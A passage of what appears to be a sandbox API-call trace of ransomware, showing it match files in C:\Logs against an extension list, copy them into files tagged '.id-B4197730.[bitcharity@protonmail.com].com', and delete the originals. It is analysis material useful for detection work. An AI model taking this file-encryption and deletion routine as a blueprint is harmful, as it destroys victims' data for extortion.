returned -1 [0148.796] lstrlenW (lpString=".xlsx") returned 5 [0148.796] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.796] lstrlenW (lpString=".ppt") returned 4 [0148.796] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.797] lstrlenW (lpString=".zip") returned 4 [0148.797] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString=".rar") returned 4 [0148.797] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString=".bz2") returned 4 [0148.797] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString=".7z") returned 3 [0148.797] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.797] lstrlenW (lpString=".dbf") returned 4 [0148.797] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.797] lstrlenW (lpString=".1cd") returned 4 [0148.797] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.797] lstrlenW (lpString=".jpg") returned 4 [0148.797] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.797] lstrlenW (lpString=".doc") returned 4 [0148.797] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString=".docx") returned 5 [0148.797] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.797] lstrlenW (lpString=".pdf") returned 4 [0148.797] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString=".xls") returned 4 [0148.797] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString=".xlsx") returned 5 [0148.797] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.797] lstrlenW (lpString=".ppt") returned 4 [0148.797] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.797] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.798] lstrlenW (lpString=".zip") returned 4 [0148.798] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.798] lstrlenW (lpString=".rar") returned 4 [0148.798] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.798] lstrlenW (lpString=".bz2") returned 4 [0148.798] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.798] lstrlenW (lpString=".7z") returned 3 [0148.798] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.798] lstrlenW (lpString=".dbf") returned 4 [0148.798] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.798] lstrlenW (lpString=".1cd") returned 4 [0148.798] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0148.798] lstrlenW (lpString=".jpg") returned 4 [0148.798] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.798] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.798] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0148.798] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0148.799] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0148.799] CloseHandle (hObject=0x10e0) returned 1 [0148.799] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0148.799] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.799] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0148.799] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.799] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.799] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.800] GetLastError () returned 0x0 [0148.800] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0148.913] WriteFile (in: hFile=0x10dc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0148.915] ReadFile (in: hFile=0x10e0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.915] WriteFile (in: hFile=0x10dc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x130, lpOverlapped=0x0) returned 1 [0148.915] SetEndOfFile (hFile=0x10dc) returned 1 [0148.915] CloseHandle (hObject=0x10dc) returned 1 [0148.917] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.917] SetEndOfFile (hFile=0x10e0) returned 1 [0148.918] CloseHandle (hObject=0x10e0) returned 1 [0148.919] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0148.919] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0148.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.919] lstrlenW (lpString=".doc") returned 4 [0148.919] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.919] lstrlenW (lpString=".docx") returned 5 [0148.919] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.919] lstrlenW (lpString=".pdf") returned 4 [0148.919] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.919] lstrlenW (lpString=".xls") returned 4 [0148.919] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.919] lstrlenW (lpString=".xlsx") returned 5 [0148.919] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.920] lstrlenW (lpString=".ppt") returned 4 [0148.920] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.920] lstrlenW (lpString=".zip") returned 4 [0148.920] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString=".rar") returned 4 [0148.920] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString=".bz2") returned 4 [0148.920] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString=".7z") returned 3 [0148.920] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.920] lstrlenW (lpString=".dbf") returned 4 [0148.920] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.920] lstrlenW (lpString=".1cd") returned 4 [0148.920] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.920] lstrlenW (lpString=".jpg") returned 4 [0148.920] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.920] lstrlenW (lpString=".doc") returned 4 [0148.920] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString=".docx") returned 5 [0148.920] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0148.920] lstrlenW (lpString=".pdf") returned 4 [0148.920] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString=".xls") returned 4 [0148.920] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0148.920] lstrlenW (lpString=".xlsx") returned 5 [0148.921] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0148.921] lstrlenW (lpString=".ppt") returned 4 [0148.921] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0148.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.921] lstrlenW (lpString=".zip") returned 4 [0148.921] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0148.921] lstrlenW (lpString=".rar") returned 4 [0148.921] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0148.921] lstrlenW (lpString=".bz2") returned 4 [0148.921] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0148.921] lstrlenW (lpString=".7z") returned 3 [0148.921] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0148.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.921] lstrlenW (lpString=".dbf") returned 4 [0148.921] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0148.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.921] lstrlenW (lpString=".1cd") returned 4 [0148.921] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0148.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0148.921] lstrlenW (lpString=".jpg") returned 4 [0148.921] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0148.921] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0148.921] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0148.921] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.951] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=1052672) returned 1 [0148.951] CloseHandle (hObject=0x10b4) returned 1 [0148.951] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0148.951] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.952] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.952] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.952] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.952] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.955] GetLastError () returned 0x0 [0148.955] ReadFile (in: hFile=0x10b4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0149.054] WriteFile (in: hFile=0x10dc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0149.209] ReadFile (in: hFile=0x10b4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x1010, lpOverlapped=0x0) returned 1 [0149.218] WriteFile (in: hFile=0x10dc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0149.221] ReadFile (in: hFile=0x10b4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.221] WriteFile (in: hFile=0x10dc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x126, lpOverlapped=0x0) returned 1 [0149.221] SetEndOfFile (hFile=0x10dc) returned 1 [0149.222] CloseHandle (hObject=0x10dc) returned 1 [0149.354] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.354] SetEndOfFile (hFile=0x10b4) returned 1 [0149.355] CloseHandle (hObject=0x10b4) returned 1 [0149.355] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0149.355] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0149.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.356] lstrlenW (lpString=".doc") returned 4 [0149.356] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.356] lstrlenW (lpString=".docx") returned 5 [0149.356] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.356] lstrlenW (lpString=".pdf") returned 4 [0149.356] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.356] lstrlenW (lpString=".xls") returned 4 [0149.356] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.356] lstrlenW (lpString=".xlsx") returned 5 [0149.356] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.356] lstrlenW (lpString=".ppt") returned 4 [0149.356] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.356] lstrlenW (lpString=".zip") returned 4 [0149.356] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.356] lstrlenW (lpString=".rar") returned 4 [0149.356] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.356] lstrlenW (lpString=".bz2") returned 4 [0149.356] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.356] lstrlenW (lpString=".7z") returned 3 [0149.356] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.356] lstrlenW (lpString=".dbf") returned 4 [0149.357] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.357] lstrlenW (lpString=".1cd") returned 4 [0149.357] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.357] lstrlenW (lpString=".jpg") returned 4 [0149.357] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.357] lstrlenW (lpString=".doc") returned 4 [0149.357] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString=".docx") returned 5 [0149.357] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0149.357] lstrlenW (lpString=".pdf") returned 4 [0149.357] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString=".xls") returned 4 [0149.357] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString=".xlsx") returned 5 [0149.357] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0149.357] lstrlenW (lpString=".ppt") returned 4 [0149.357] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.357] lstrlenW (lpString=".zip") returned 4 [0149.357] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString=".rar") returned 4 [0149.357] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0149.357] lstrlenW (lpString=".bz2") returned 4 [0149.357] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0149.358] lstrlenW (lpString=".7z") returned 3 [0149.358] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0149.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.358] lstrlenW (lpString=".dbf") returned 4 [0149.358] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0149.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.358] lstrlenW (lpString=".1cd") returned 4 [0149.358] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0149.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0149.358] lstrlenW (lpString=".jpg") returned 4 [0149.358] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0149.358] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0149.358] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0149.358] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0149.359] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0149.359] CloseHandle (hObject=0x10b4) returned 1 [0149.359] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0149.359] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0149.359] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0149.359] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.359] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.359] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0149.360] GetLastError () returned 0x0 [0149.360] ReadFile (in: hFile=0x10b4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0149.416] WriteFile (in: hFile=0x10e4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0149.418] ReadFile (in: hFile=0x10b4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.418] WriteFile (in: hFile=0x10e4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x12e, lpOverlapped=0x0) returned 1 [0149.418] SetEndOfFile (hFile=0x10e4) returned 1 [0150.328] CloseHandle (hObject=0x10e4) returned 1 [0150.349] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.349] SetEndOfFile (hFile=0x10b4) returned 1 [0150.350] CloseHandle (hObject=0x10b4) returned 1 [0150.351] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0150.351] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0150.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.351] lstrlenW (lpString=".doc") returned 4 [0150.351] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0150.351] lstrlenW (lpString=".docx") returned 5 [0150.351] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0150.351] lstrlenW (lpString=".pdf") returned 4 [0150.351] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString=".xls") returned 4 [0150.352] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString=".xlsx") returned 5 [0150.352] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0150.352] lstrlenW (lpString=".ppt") returned 4 [0150.352] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.352] lstrlenW (lpString=".zip") returned 4 [0150.352] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString=".rar") returned 4 [0150.352] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString=".bz2") returned 4 [0150.352] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString=".7z") returned 3 [0150.352] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0150.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.352] lstrlenW (lpString=".dbf") returned 4 [0150.352] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.352] lstrlenW (lpString=".1cd") returned 4 [0150.352] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0150.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0150.352] 